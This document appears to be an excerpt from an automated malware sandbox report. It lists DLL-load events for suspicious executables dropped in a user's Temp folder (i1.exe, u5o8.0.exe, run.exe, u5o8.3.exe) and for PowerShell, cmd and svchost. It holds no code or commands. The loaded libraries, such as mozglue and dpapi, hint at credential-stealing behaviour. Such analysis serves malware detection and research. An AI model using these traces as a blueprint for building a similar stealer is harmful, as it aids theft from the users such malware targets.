Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: zipfldr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winshfhc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wdscore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winshfhc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wdscore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bitsproxy.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: security.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: schedcli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: msxml6.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: idndl.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: bitsproxy.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: napinsp.dll
